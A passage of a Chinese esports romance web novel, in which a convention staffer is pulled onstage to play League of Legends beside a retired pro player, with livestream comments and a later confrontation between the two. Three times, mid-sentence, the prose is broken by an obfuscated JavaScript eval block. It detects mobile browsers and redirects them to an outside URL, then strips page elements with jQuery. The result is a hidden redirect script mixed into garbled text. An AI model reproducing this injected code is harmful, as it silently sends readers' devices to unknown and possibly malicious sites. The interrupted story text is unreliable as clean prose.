秦见夏甚至都没反应过来,导播就将她的脸怼上了大屏幕。 她目瞪口呆地看向自己的大脸,下意识仔细观察——这究竟有没有美颜呐?? “真没想到!我们的47号幸运儿,竟然恰好就是今天的工作人员!”主持人笑出声来,“那请小姐姐赶快上台吧,我们合完影之后就准备开始了。” 主持人解释的时候,导播一直怼着秦见夏的脸拍,冉姐还接过她的手机,兴冲冲地把号码举起来给镜头看。 秦见夏:“……” 唉,资本。 她崩溃片刻,随即迅速恢复镇定,继续做好表情管理,迈着僵硬的步伐形如机器人般往台上走,手机都忘了从姐那里拿过来。 秦见夏面上看似冷静,实则四肢都开始发软。 在将近四十度的酷暑里,后背居然渗出了丝丝密密的冷汗。 导播都不照台上那俩“电竞美男”了,镜头一直追随她的身影。 ——显然目前她更有话题点。 秦见夏真的心态大崩溃,感觉肾上腺素都开始飙升。 对了,得先把工牌取下来,万一被拍到真实姓名怎么办!! 秦见夏边摘工牌边上台阶,紧张得差点绊了一跤,台下发出一阵爆笑声。 “……” 她更加汗流浃背。 乖乖隆地咚—— 老天爷玩她跟玩狗似的。 她已经不知道自己究竟是怎么走到选手们身边的。 本来打算站到最边边当个透明人,但主持人十分懂得搞气氛,直接一把将她拉来C位…… 还正好给她“放置”在谈继秋身边…… “小姐姐似乎看起来很紧张?大家鼓励一下她好不好?”女主持人笑容欢快,声音亢奋地和观众们互动,“现在我们请摄影师来给这八位幸运观众拍个大合照。” 人类的悲喜并不相通。 其他幸运观众相当激动,秦见夏却已经紧张得将近魂飞魄散。 她游魂般站在台上,连下面的起哄声都感受不到。 她的安稳人生,终究是被LOL给毁了。 “别紧张,没事的。” 身旁的谈继秋发现她面色惨白到没有血色,微微低头轻声安慰着:“只是娱乐赛,不会有人骂你。” 也许是鲜少用这种口吻说话,他不自然地抬手摸了摸鼻尖。 另一侧的Adgai显然也听见了,下意识瞥了眼谈继秋,一脸见鬼的表情。 这家伙是被什么附身了? 怎么场地还闹鬼吗? 他认识Jichoo五年,从来没见他用过这副语气。 秦见夏此刻根本来不及记起自己还没跟谈继秋爆马这回事,顿时抓住救命稻草般,条件反射地小声求助他:“怎么办啊秋神!我的联盟号也是原来那个id!” 她想起谈继秋应该还不知道,又语无伦次地解释:“这次统一用个人号打比赛,你、您有没有别的联盟号借我啊?” 谈继秋瞬间反应过来,她说的是「秋神给我打钱」那个id。 虽然很不道德,但实话实说,此局面简直正中下怀。 “没有,”他一秒钟都没犹豫,垂眸瞧着她仓皇的神态,不动声色地扬了扬唇,煞有其事地低头说,“我其他号都是韩服的。” 他见秦见夏又要扭头可怜巴巴地去问Adgai,语速飞快地替他也答了:“他也没有,我们基本都是一个国服号。” Adgai:“……?” Adgai又是一副吞了苍蝇的表情,仿佛第一次认识Jichoo。 秦见夏不疑有他,闻言只好耷拉着脑袋,蔫蔫地叹了口气。 摄影师咔嚓咔嚓地连拍好几张照片。 谈继秋看向镜头,露出一个微笑,内心默默暗爽。 他怎么可能告诉她,LOL局内其实也可以隐藏召唤师id。 他心里跟明镜似的,当然知道她一点也不想和他沾边,何况是暴露在大众视野里。 然而此次绝妙的机会,直接将他俩捆绑了——这回她没办法装作不认识他了吧。 况且,他有能力保护好她,再不济也有钞能力。 谈继秋神采奕奕地,笑得像只花孔雀,秦见夏站在一旁,仿佛强颜欢笑的小苦瓜。 “那么现在按单双号分配,单号和秋神一组,双号和A神一组。请大家各自入座,登录自己的账号并调试设备。” 秦见夏:“……” 她实在忍不住,抬眸瞟了一眼谈继秋,心道,这究竟是什么孽缘啊。 谈继秋这组往左边走时,秦见夏小声问大家有没有多余的账号。 其他三位队友纷纷摇头。 谈继秋上扬的嘴角更加控制不住。 秦见夏坐下后连忙呼叫充当临时裁判的冉姐,胆战心惊地等她走来,向她借游戏账号。 冉姐:“你不是玩LOL吗,怎么会没有账号?” 秦见夏急得快哭了:“姐!我的游戏id不太方便!” “是有违禁词吗?” “不是!是有选手的id……” 秦见夏下意识瞥了眼戴着耳机坐在一旁的谈继秋,诚实道。 冉姐顿悟,笑容更加开朗:“那更灵嘞!小秦,我跟你讲,你这次简直是我们LOL区的大功臣,回头姐姐申请给你加奖金哇!” “?” 虽然脑子一时间转不过弯来,但秦见夏还是灵光一现,逮住机会道:“奖金能换成转正名额吗?” 姐微笑:“不能。” 姐:“除非你现在是211硕士学历。” 秦见夏:“……” “姐我真求你了,您帮我去问问他——”她指了指对面的眼镜男,满口胡诌地央求道,“是选手黑称!我一定会被骂死的,对咱们也是负面影响您说对吧……” “哦哟放心好嘞,我们有舆情监测的呀,姐姐跟你打包票,你绝对不会被网暴。” “个么撒意思啊?侬不信唔?”冉姐用一种辅导员的语气,假笑着反问。 这是压死秦见夏的最后一根稻草。 谈继秋在一旁无法抑制地轻笑了声。 索性没被崩溃的秦见夏听到。 她破罐破摔地转回身,认命登录了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743131|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的账号,将键盘敲得噼里啪啦响。 手机不在身上,不知道被冉姐放到哪了,甚至临时买张改名卡都来不及…… 可恶的资本家! 只有秦见夏尴尬的世界达成了。 她面如死灰地用双手撑住脸颊,听着耳机里,谈继秋挨个询问大家都擅长什么位置。 队友A:“我玩中单或者上单。” 队友B:“我只会中单。” 队友C:“我玩打野或者中单。” 秦见夏很久没打过LOL了,主动说:“那我玩辅助。” 谈继秋自觉承担队长的角色,给他们分配完位置后,滑动椅子朝左边靠,偏头轻声问秦见夏:“要不你来玩ADC?我还是给你打辅助,好不好?” 他此刻的声音像是在哄三岁的外甥女一样温柔,“好不好”三个字更是尾调上扬,神态相当柔情似春水。 可惜,他自己并未意识到。 正焦虑万分的秦见夏当然也没意识到。 她没精打采地进了房间,摇头拒绝:“我还是打辅助吧……” “你想我被喷直说!” 秦见夏无能狂怒,忍不住变脸瞪他。 即便被她凶了,谈继秋也不生气,只是咯咯笑了两声,一副心情很好的样子。 秦见夏自暴自弃地趴在桌上,等候大屏幕的审判降临。 开始BP后,身旁的银幕和顶部的电子大屏都闻声亮起。 秦见夏欲哭无泪地捂住脸。 底下的粉丝们顿时一片哗然—— “卧槽!!你们快看!红色方五楼的id!” “哈哈哈哈哈哈哈哈,秋神给我打钱?” “笑死我了,这个工作人员居然还是继军的粉丝吗?” “应该是剧本吧,故意炒热度的,裁判知道了咋可能不让她隐藏id?” “不像演的,你们瞧那个女生脖子都红了哈哈哈哈——” “难怪她刚刚找裁判作揖了半天!我真不行了!” “要命嘞!这也太有节目效果了妈呀,票钱真值。” “作为十年老粉,还是第一次看到Jichoo这个骚包表情。” “这工作人员也是演都不演了,太搞笑了。” “……” 秦见夏戴着耳机,根本听不到底下传来的讨论声,只能满脸爆红地安慰自己—— 还好早早就给王者id改了,之前上热搜的不是最初的这个id,应该很难把她和几周前的「人健学设计」联系在一起。 耳机里传来秦见夏的叹息声。 谈继秋选好英雄后,再度凑近身子,从下往上地去瞧她脸色。 他左手抬起自己的耳麦,右手也顺势将她的耳麦掰了上去,轻声询问:“没哭吧?” “没事的,不会有人骂你的,”谈继秋见她仍然板着脸,连忙温和地安抚道,“也不会被查到你就是那个和我王者双排的人。” “万一被发现了,我一定会第一时间撤热搜,好不好?” “不用担心,交给我吧。” 秦见夏抬起头,根本不看他,只是吐出三个字:“谁哭了。” “好好好,你没哭,是我哭了。” 谈继秋依旧一副哄小孩的口吻。 秦见夏锁了光辉女郎,边点符文边头也不回道:“男女授受不亲,请你不要凑这么近,也不要和我讲话,我们要保持距离!” “现在起,就当互相不认识对方!” 谈继秋被她严肃的语气逗笑,攥起拳头放在嘴边咳嗽了一声,然后滑动转椅回到自己的位置,抿唇强忍住笑意,开始指挥大家一会开局怎么打。 两人都不知道,他们的每一次互动都被导播实时转播进了黄油的官方直播间。 47. 真厉害 「CHNJoy工作人员抽中水友赛名额」此事早已登上热搜,实时热度不断飙升,于是大批线上的粉丝们纷纷涌来直播间。 并被Jichoo的“死人微活”吓到—— 「我艹兄弟们,这继军是不是被夺舍了」 「我严重怀疑谈继秋认识那个工作人员」 「好久没见老爷笑得这么开心了」 「没人觉得小姐姐好看吗?很有元气的长相,谁知道她有没有对象?」 「楼上想屁吃呢,人家小姐姐刚刚戴的是蓝牌,知道什么实力吗你就做上梦了?」 「我们难道是电竞文里的npc?」 「继军现在这水平退步得排不上电竞文哈,也就脸能当男主,而且退役了算啥电竞文,竞技谁打LOL的时候泡面吃得多?」 「附议,现在竞人也就对A能当电竞文男主」 「Abandon的粉丝能不能别来沾边,字母表闹麻了,那才是真的捞,纯麦麸靠脸和女友粉」 「不管了,这门亲事我同意哈」 「卧槽真醉了,jichoo这张脸什么时候出现过这么恶心的表情?」 「能让活人微死的淡人孔雀开屏,我赌五毛钱这个肯定是jichoo的圈外女友」 「楼上的,竞圈嫂子学历没那么高,这属于辱人家了」 「笑死我了妹子现在根本不搭理继军,不语只是一味脸红地盯着屏幕」 「补药啊,尼奥尼真be了是吗?」 「刷尼奥尼的有完没完,秋神都澄清过了你们还在这刷,水军吧?」 「有没有房管?快把刷无关人员的拉黑」 「你们抽粉是不是脑子有病了,放着腾子蓝牌高材生真嫂子不磕,去磕精神小妹女主播?」 「禁止学历歧视」 秦见夏的id一亮,更是满屏的问号和感叹号,以及「wc」。 其中不乏有认为是剧本的理中客,不过就目前来说,大部分发言还是善良的。 毕竟……即便谈继秋和LOL一起过气了,但他的粉丝并不少。 况且——秦见夏这个id,看不出是粉是黑,十分灵活。 要是起个「闪进xx怀里」这种id,那网友肯定就不是这副嘴脸了。 「这光辉好像玩得还不错,而且和ad很有默契啊,不会是真嫂子吧……」 「十年老粉表示太好了,俺们继军不是弯的555」 「这不是真情侣我倒立吃史」 「哎,谈继秋这小子吃得太好了,要不别磕了,我总觉得咱老秋配不上高材生……」 「万一人家小姐姐有男朋友呢,你们别乱点鸳鸯谱,估计一开始她就是在给jichoo说id的事,所以刚刚他才那么照顾她」 「……」 其实秦见夏是想玩猫咪的。 王者里的瑶和联盟里的悠米差不多,对她目前来说玩着没有压力。 可惜……她一共只有三个辅助英雄……精粹全被她用来买ADC了。 秦见夏生无可恋地操纵着拉克丝,无脑跟在谈继秋身后,连按Y切视角都思考了挺久,还好记起来一级泉水买装备了,如果不小心裸装出门的话,肯定会被喷“女玩家xxx”。 秦见夏现在已经逐渐接受自己会被喷的事实了,她一般紧张超过阈值大脑会触发自动保护机制,弹指间便彻底冷静下来。 谈继秋补兵,她就有眼色地帮他垫刀;谈继秋和Adgai对线,她就找准时机给他扔盾。 升完Q技能后,随手丢了个控,还刚好拿下一血—— “卧槽,我居然把Adgai一血了!?” 秦见夏顿时就来了精神,猛地坐直身子,一副蓄势待发的神情。 悄悄让了个头的谈继秋唇角微勾,夸赞道:“真厉害。” “我说吧,不会有人骂你的,他们只会夸你玩得好。” 他语气有几分骄傲。 直爽的队友A边补刀边问:“秋神,你和辅助是不是在谈恋爱啊?” “没有!”秦见夏当即一口否认,声音拔高,“我只是高中的时候当过秋神的粉丝!我和他私下根本就不认识!” 谈继秋的嘴角瞬间掉到底,活人微死味又上来了,语气不明:“嗯,对,没错,不认识。” 队友B暧|昧地“哦~”了一声。 队友A:“懂了懂了,我们会保密的。” 秦见夏:“……” 她不禁瞪了一眼旁边的人。 谈继秋挑着眉,一脸无辜地耸了耸肩。 “哼。”秦见夏忍住翻白眼的动作,冷哼着转回头,无暇再搭理他。 「笑死我了,他们几个到底说啥了,我看小姐姐差点对着大秋哥翻白眼,能不能也出一期哔哔机啊」 「老秋,看着我的眼睛,刚刚最后一发平a你为何不点」 「妹子拉克丝玩得还蛮好的」 「这把电子竞技看起来全是爱情,继军再憋笑快成歪嘴战神了」 「谈继秋那嘴角比自动平a还难控制」 「传下去,A神被嫂子单杀了」 「传下去,A神被嫂子单杀了」×99+ 「只能看脸听不到声音简直索然无味,导播能不能多切蓝衣服妹妹」 「看着妹妹身上的蓝色工作服一股无名火,策划出来挨打」 「小姐姐这颜值虽然不是惊艳型的,但看着比那些科技脸顺眼多了」 「妈妈」 「?」 「打错了是妹妹」 「666当狗不带我」 「w学弟走错片场了知道吗」 「g学弟这招太狠了」 「继军勇敢飞,失恋自己背」 「不可能这么巧吧,我看是炒作」 「楼上的ky怪我看你爸妈也是炒作」 「不知道隐藏id吗?故意放出来博流量蹭热度呗,心机这一块」 「恶意揣测这一块./不知道只能局内隐藏?加载的时候id就爆出来了」 「666竞人攻击力没得说,娱乐赛有啥可喷的,人家小姐姐还是素人」 虽然谈继秋这队斩获一血,但明显对面中单在压着己方中单打。 秦见夏偏过头看了眼对面的短发女生,发自内心地感叹一句:“这狐狸玩得好帅。” 己方中单队友不乐意了:“拉克丝你哪边的。” 谈继秋闻言,扭头瞥了眼中单,中单又弱弱地补充:“我马上发育起来了。” 结果中单就被单杀到最后,以0-9的好成绩拿下超鬼评分。 即便最终还是输掉了比赛,然而秦见夏倒是松了口气。 至少自己评分不是垫底,不用背锅,可以规避掉百分之三十的挨骂风险。 “玩得很好。” 谈继秋摘着耳机,还不忘再度夸奖秦见夏。 她原本正在整理衣摆,闻言抬眸与他对视,耳根染上一丝热意。 不得不承认,他今天的扮相确实很惊艳。 谈继秋本身皮肤就白,白色短袖衬衫将他凸显得更加光辉圣洁。鼻梁挺拔峻峭,含笑的眼瞳弯出一对漂亮的卧蚕。 虽然能瞧出他的黑眼圈比较严重…… 但此时的他,平日里那种蔫蔫的感觉荡然无存,生机勃勃地,仿佛回春了一般。 “你盯着我看什么——” 谈继秋玩心大起,忽然猛地凑近。 “我脸上有东西吗?” 秦见夏只顾盯着他豆沙色的嘴唇起起伏伏,也没听清他到底说了什么,便被突如其来凑近的俊脸吓了一跳。 “我、我就是想问你,你唇釉什么色号的……” 她语无伦次,张口就来。 谈继秋:“……” 无意识勾引失败的某人咬牙切齿:“我不涂口红。” “哦哦这样啊。”秦见夏此刻完全大脑功能紊乱,囫囵吞枣地扔下句“你的嘴涂唇釉应该很好看,可以考虑当试色博主”,便迅速面色绯红地跟在队友身后,往舞台中间走。 愣在原地的谈继秋:“……?” 她是在夸他嘴长得好看还是? ……拿他当姐妹呢。 对局过后,直播间热度不降反升。 「卧槽他俩又说什么了?导播你放不出声音就别切行不行?纯吊人胃口?」 「继军为啥突脸人家小姐姐啊,看把人吓得又差点平地摔在台上……想趁机公主抱是不……」 「卧槽太有节目了,怎么会有人半个小时差点摔倒两次啊」 「两人都脸红,绝对有情况,鉴定完毕」 「诶我说大家能不能自觉点,让小情侣挨在一起啊,懂不懂事?」 「你继军果然又输掉比赛」 「恰恰相反,输掉比赛但赢得爱情,这波大赚,简直赢麻」 「谈继秋上大号说话」 「666弹幕一堆恋爱脑,这回又不实力至上了」 「本来现在就打不过人家a神,实力有啥可看的」 「老秋现在要是能打过ad钙你看丢人的是谁?」 「弹幕闹麻了,退役选手没打过现役还被喷,你秋果然黑粉这一块./」 「……」 主持人依照流程,对红蓝双方进行赛后逐一采访,特意将最有看点的三人留在最后提问。 其他队友纷纷表达了对某个选手和战队的喜爱,也有希望LPL再创辉煌的。 秦见夏大脑空空地默默打着腹稿,其实还没想好,话筒就火箭炮似的递到嘴边了。 主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770246|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持人妆容精致,笑意吟吟:“今天我们小姐姐的热度也是很高啊,看点十足,想问下工作人员小姐姐,突然被抽中时心里有何感想啊?” 秦见夏想像教资结构化面试那样说句“容我思考片刻”,可台下全是一双双眼睛盯着,比考官的威慑力足了八百倍。 她只好实诚回答:“我感觉自己要完蛋了。” 台下顿时发出一阵哄笑,跟热锅烧开了似的。 就连主持人都控制不出地笑了几声。 实在冷幽默,谈继秋和Adgai也纷纷攥拳遮住嘴假装咳嗽。 秦见夏:“……” 很好笑吗。 她感觉自己差点挂在台上了:) 现在更是挂了还被架在火上烤。 秦见夏生无可恋的表情逗得大家更乐了。 直播间弹幕也一片哈哈哈飘过。 「妹子简直太幽默了」 「妈呀笑得我肚子疼,感觉小姐姐内心很崩溃」 「这还节目效果?素人有这演技95后00后小花有救了」 「哎你们怎么没有一个人发现,这个小姐姐的声音很像之前和秋神连麦打王者的那个粉丝啊」 「这简直是天选乐子人」 「哈哈哈哈哈」×99+ 主持人迅速恢复状态,一本正经地继续问:“为什么呢?能详细地具体讲下吗?” 秦见夏进行着“最强大脑”,给自己抬了个免责声明:“因为我没想到自己会被抽中,其实我是打算中那个五千点券后买个改名卡的……” 四周顿时又涌出一阵阵爆笑声,全场只有正主谈继秋笑不出来,幽怨地瞟了眼她。 秦见夏一阵心虚,往反方向偏了偏头。 骗你们的,早不玩这游戏了。 其实是想拿了此点券挂某鱼八五折出掉然后充彼点券。 这鼠标点得她腱鞘炎都快犯了,现在右手腕还麻麻的,难怪说二十多岁在职业选手那里算高龄。 主持人乘胜追击:“我看你id是「秋神给我打钱」,你不是Jichoo的粉丝吗,怎么会想要改名呢?” “毕竟是从小看秋神长大的,这是当年S8的时候跟风改的!”秦见夏连忙说,“真粉丝倒也谈不上,现在也不常玩这个游戏了……” “那也就是说——您现在并不喜欢Jichoo了?” 秦见夏这时候才猛然想起,自己现在代表的是LOL区,作为LOL展区的员工说自己不玩LOL了,这不是当众打脸吗? 她极有求生欲地强行拔高价值观:“这倒也不是。如大家所见,现在我也算变成LOL的一份子了嘛,从玩家转换身份成工作人员,发现把大家服务好比打游戏更开心。” “我现在喜欢咱们LPL的每一位选手,大家都努力勤奋且实力超群,真的很期待每位选手都能实现自己的梦想,在LPL的舞台上大放光彩!期待LPL越来越好!” 她给自己说得热血沸腾,主持人却仍然将话题拐回谈继秋身上:“我们刚刚收集了一些直播间里的问题,想冒昧地问一下小姐姐——私下里和Jichoo熟吗?” 此话题一出,更是全场哗然,主持人再度火上浇油:“导播‘很巧’地切到了你们交头接耳的画面。据我所知,Jichoo选手好像比较社恐,是不是两位早就认识啊哈哈……大家都很嗑你们呢……” “没有没有——”秦见夏险些把头摇成拨浪鼓,“其实我今天也是第一次和Jichoo老师见面。” “刚刚我们是在商量射辅联动的事,只是镜头里看起来靠得很近,形成错位效果了,其实现实中离得有八丈远,大家还是不要嗑我们了……”秦见夏小心翼翼地措辞道,“期待秋神早日给我们找个真嫂子回来!” 要是其中真没点事的话,另一位当事人此时肯定会至少点点头以示肯定。 然而,谈继秋却低头瞥她一眼,眼睫暗了暗,根本不搭腔,神色淡漠,还是那副事不关己的样子。 「我现在相信不是剧本了,妹妹搁这讲运动会通讯稿呢」 「我看像结构化面试,不愧是92的……」 「有人管管继军吗,我们家高龄老人快碎成玻璃渣了」 「碎什么碎,咯不咯噔啊,他不和以前一样私人脸吗」 「秋,又这样轻轻地活人微死了」 「给小姐姐鼓掌,真不愧是能进大厂的,场面话一套一套的」 「继军的眼神还爱她」 「不可能,绝对不可能!我以五年磕cp的经验来看,他俩绝对能成」 「算了,继续磕尼奥尼得了」 「老秋的脸刚刚都快黑成煤炭了,他100%喜欢这个女生,如果不喜欢的话,以他的性格一会绝对现场辟谣,不信你们等着瞧——」 48. 胆小鬼 变脸大王。 秦见夏回眸,暗自腹诽一句,又将目光投向主持人,眼中暗含乞求。 主持人姐姐果然打了个圆场,开始问起Adgai。 轮到谈继秋时,主持人也微微收敛,毕竟刚刚人家女孩都这么说了,也不好再乱点鸳鸯谱。 “想问下Jichoo选手,未来有什么规划呢?会不会复出?或者参加主播联赛?” 谈继秋语气平平:“没什么计划。” “期待LPL越来越好吧。” 学人精。 弹幕果然再度疯狂—— 「没在线辟谣,有戏!」 「说继续磕尼奥尼的给我出来,尼奥尼那儿哪次不是光速辟谣的?」 「我艹666,刚刚都贴脸开大了继军都不当场辟谣」 「那看来是手握追妻火葬场剧本」 「感觉你们真是有毛病,是个女的就开始磕cp,性缘脑吧」 「继军你这家伙,拿不到世界赛冠军也就算了,怎么追妻也追不上啊」 「学人精,抄袭人家发言」 「小姐姐在一旁又差点翻白眼了,笑抽我」 「继续磕别管了」 「期~待~LPL~越~来~越~好~吧」 「他还是那养胃感语气,但听起来阴阳怪气的」 「铁树好不容易开一次花,女生又给当场摁回去了」 「他俩百分之一万私下里认识」 「他俩百分之一万私下里认识」×99+ 活动流程走完后,嘉宾从后门离场,粉丝们大部分都选择继续去各大分展区进行体验。 负责人给他们预留出十分钟的时间搬设备和清理场地,后面的王者活动就不需要他们再负责了。 秦见夏搬完电脑,回到英雄联盟展区,冉姐非常激动地抓住她的手晃了晃,笑得合不拢嘴:“小秦呀,哦哟——这次做得非常不错的呀!咱们LOL区的热度果然飙升,你这次可是大功臣!” “姐刚刚帮你申请了七百块奖金补贴,等流程走完就直接到账了,晚上姐姐再请你吃个饭你说好伐?” 冉姐将秦见夏拉到角落,把手机掏出来还给她,指向那边:“上午的活就干到这里吧,你一会从库房那边偷偷溜走就成,员工食堂就在后面,吃完饭歇一会儿哦妹妹,真是辛苦你了呀,下午两点再过来~” 姐真是活动前都没吩咐这么详细过,秦见夏还是笑着说:“好的姐,那我就先走了。” 她边往后门走边打开微信,果然收到一箩筐消息。 其中大部分是王铭、莫清谷和其他朋友发来的微信,他们纷纷对秦见夏的出镜表示惊讶,她一一点进去将小红点清掉,准备吃饭的时候逐条回复。 还有就是,谈继秋发来的。 谈继秋:「中午请你吃饭?」 秦见夏无奈叹息一声,当做没看见一样打开了大发的聊天框。 她刚走到门口,手上打着“中午要不要一起吃饭”几个字,还没发送出去,忽然被人拉住手腕,猛地向旁边一拽。 “卧——” 国粹都没来得及说完,便瞧见拉着她的人是谈继秋。 她怕引起别人的注意,当即朝四周打量一瞬,连忙将声音收了回去。 谈继秋自顾自地捏着她的手腕,往一旁空荡的小路走,似乎在赌气般,头也不回地径直拉住她向前。 秦见夏的心脏却快要蹦出来了。 这还是她第一次和男人有肢体接触。 真的很莫名其妙—— 她没有第一时间推开,而是不受控地细细观察起来。 没想到他的手掌这么大。 一只手就能抓住她的手腕,还绰绰有余。 这么大的手得买多大的鼠标啊,她不由得浮想联翩。 谈继秋的指甲修剪得很短、很整齐,指肚的触感肉肉的,像小狗的肉垫。 没想到看起来刻薄的长相还长了双绵软的手。 奇妙的感觉。 他掌心燥热,热意顺着手臂一路爬上两人的脸颊和耳根。 夏蝉躁动地发出一道短暂的骤鸣。 秦见夏兀地回神,立刻挣脱:“你到底要干嘛!” 谈继秋其实并没有使多大的力道,只是虚虚箍住她而已,一甩便掉。 秦见夏也怒气冲冲地扭头就走,半点交集也不想再和他有。 “等等,别走,”谈继秋三两步追上来,故技重施地抓住她的手腕,“我到底哪里做错了?咱们把话说清楚。” “为什么这么久不理我?” 秦见夏再度将他甩掉,用食指指着他的手:“诶——男女授受不亲,别再动手动脚的。” “好,抱歉。” 谈继秋于是老老实实地站在原地,用一双湿漉漉的眼睛与她对视:“我要是不拉住你,你又要跑。” “英雄联盟的活动已经结束了,”秦见夏双手抱臂,烦躁地掀起眼皮,“我们好像也不熟吧。” “我们不是已经认识一个半月了吗?” 他似乎很擅长利用他那张秀色可餐的脸。 谈继秋的眼睛很好看,又弯又翘。 在阳光下漂亮得像玻璃珠,羽翼似的睫毛一颤一颤地,黑眸仿佛少年人一样水润、明亮。 大脑顿时短路,秦见夏下意识挪开视线,嘴硬道:“你说什么我听不懂。” “秦见夏,你到底在逃避什么啊?” 谈继秋指名道姓,这次是切切实实地有些委屈,忆起那条朋友圈来,顿了半秒,又问:“还是说……你已经有男朋友了?” 秦见夏顿时炸毛:“你怎么知道我名字?” 谈继秋小心翼翼地指向她脖子上的工牌。 秦见夏:“……” 刚才着急搬设备,手忙脚乱地带上工牌,忘记看正反面了。 “对,”她此地无银三百两地摘下两个牌子,实在懒得再和电竞大明星纠缠,索性破罐破摔,“我就是有男朋友了!所以要和异性保持距离。你刚刚台上那个态度,会让我男朋友吃醋的!” “这不叫逃避,我这是光明正大地不想和你有任何接触。” “我真就不明白了,今天只是我们见过的第一面,你怎么就一副跟我很熟的样子?”秦见夏嘲讽地拿话点他,“我可不是玩咖,你要是欲求不满,多的是女粉丝排队,别再来烦我!” 她承认,她说话确实有些难听。 可谈继秋现在是占用她的休息时间,在大太阳底下聊这些有的没的。 天气本就热得像是给全身裹上了保鲜膜,他还不放她去吃饭,非要在这里傻站着。 秦见夏又想扭头走掉,谈继秋早有预判地截住她:“怎么又要跑路,你蹿得简直比兔子还快。” “我哪里表现得和你很熟了?在台上只是安慰你一下,”他一脸莫名,“刚刚怕你心情不好,所以才打算请你吃个中午饭。” 这招叫以退为进。 总之不能和她就这么算了。 “你能不能动脑子想想!”秦见夏气得口不择言,“你这种淡人跟人机似的,什么时候给过别人好脸色!” “而且你打过那么多比赛,怎么可能不知道导播就爱切你啊,你还老是凑我那么近——” “呵,”谈继秋蓦地冷笑一声,阴阳怪气地问,“担心你男朋友吃醋?” “这么爱吃醋肯定小心眼,正好换掉。” “?” 秦见夏已经被蒸得神志不清,左右脑互搏:“什么男朋友?别转移话题好吗?” “我在说你刚刚的举动会让大家误会啊!我跟你讲,你这样的话他们肯定都认为我们有一腿。我只是一个平平无奇的大学生,和你这种电竞偶像根本就不是一个世界的人!” “我们还是连朋友都不要再做下去了,互删吧……” 谈继秋见她已经被晒得全脸泛红,担心她中暑,连忙将她拉到一旁的树荫下。 “还骗我有男朋友……”他不知道这里有员工食堂,只想赶快带她去车上吹空调,“你先跟我回车上吧,下午还有工作是吗?吃完饭我再送你回来。” “等等等等——”秦见夏也是犟种,倔驴一样站在原地不动,“你不是要把话说清楚吗?咱们刚好在这里说清楚,这样以后就不要再纠缠了!” 谈继秋瞧着她通红的脸,无奈地叹了口气,只好与她换了个方向站。 自己个子高,能帮她挡一下太阳。 他垂头丧气地问:“为什么不能做朋友?你明明不讨厌我。” “谁说我不讨厌你了?”秦见夏快语连珠,“我讨厌你!” “那你看着我眼睛再说一次。” 谈继秋忽然俯身,撑着膝盖与她平视,一双眼睛眨巴眨巴,看起来有点欠扁。 秦见夏的大脑都快蒸发了,再度移开目光。 “诶呀你能不能别这么犯嫌,你是狗皮膏药吗?啰里吧嗦的,不要再缠着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773410|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “让我猜猜你躲着我的主要原因,”谈继秋倏地直起身子,语气轻快,思路极其清爽,“因为你害怕……真的喜欢上我?” 他还故意停顿片刻,罕见有些活泼。 是个其他人见到都要认为他是被夺舍了的程度。 被戳中心事的秦见夏:“……” 她依旧嘴硬,想到哪句说哪句:“这都和你无关!总而言之咱们不要再有联系了,反正你只是内疚,我都讲了不用觉得骗我了对不起我什么的,就彻底别——” “怎么就只是内疚了?”谈继秋打断她,“你猜最开始我为什么加你好友?” “更何况那种赌局,但凡换别人我肯定拒绝。” 当初如果不是确实也对她有点意思,以他这种性格,即便直接让Fine打消念头,大家也会觉得理所当然。 谈继秋只是不想承认,顺坡下驴罢了。 “说回内疚,如果你在我心里只是个普通粉丝,那我不会胆战心惊这么长时间,”谈继秋直接打明牌,“如果你讨厌我、是黑粉,那在知道我骗你之后,只会气得把我骂一顿。” “真光明正大不是你这样躲躲闪闪的,”他说得诚恳,“清白的关系不会像我们这么别扭。” “……嗯?” 秦见夏的大脑彻底断路,他的话将她炸得耳朵嗡嗡作响。 仔细想想也是,Jichoo这种一点世故都不沾的人,对于不想搭理的更是演都懒得演,甚至称得上冷漠。 秦见夏很了解他的性格。 但还是觉得,他不可能喜欢上她。 难道是热出幻觉了? “不对——谁跟你不清白了?” “可我们之前只是游戏搭子啊!”她反驳道,“我长得不如网红,性格也差,你现实中只见了我一面就——?” “听起来很像杀猪盘……” “秦见夏,你相信命中注定吗?” “我是无神论者。” “……” “早上我可是一眼就认出你了,”谈继秋相当得意,冲她扬了扬下巴,“虽然一直不知道你的名字,你还假装不认识我,但我确定你就是那个「勤捡虾球」。” “之前你突然一副要和我划清界限的态度,那时我也不确定自己究竟对你是什么感觉……” 谈继秋的背被晒得暖烘烘地,身前的女孩离他很近。 他一低头就能看到她惊慌失措的眼睛,以及毛茸茸的头发。 心里也泛起一阵潮热。 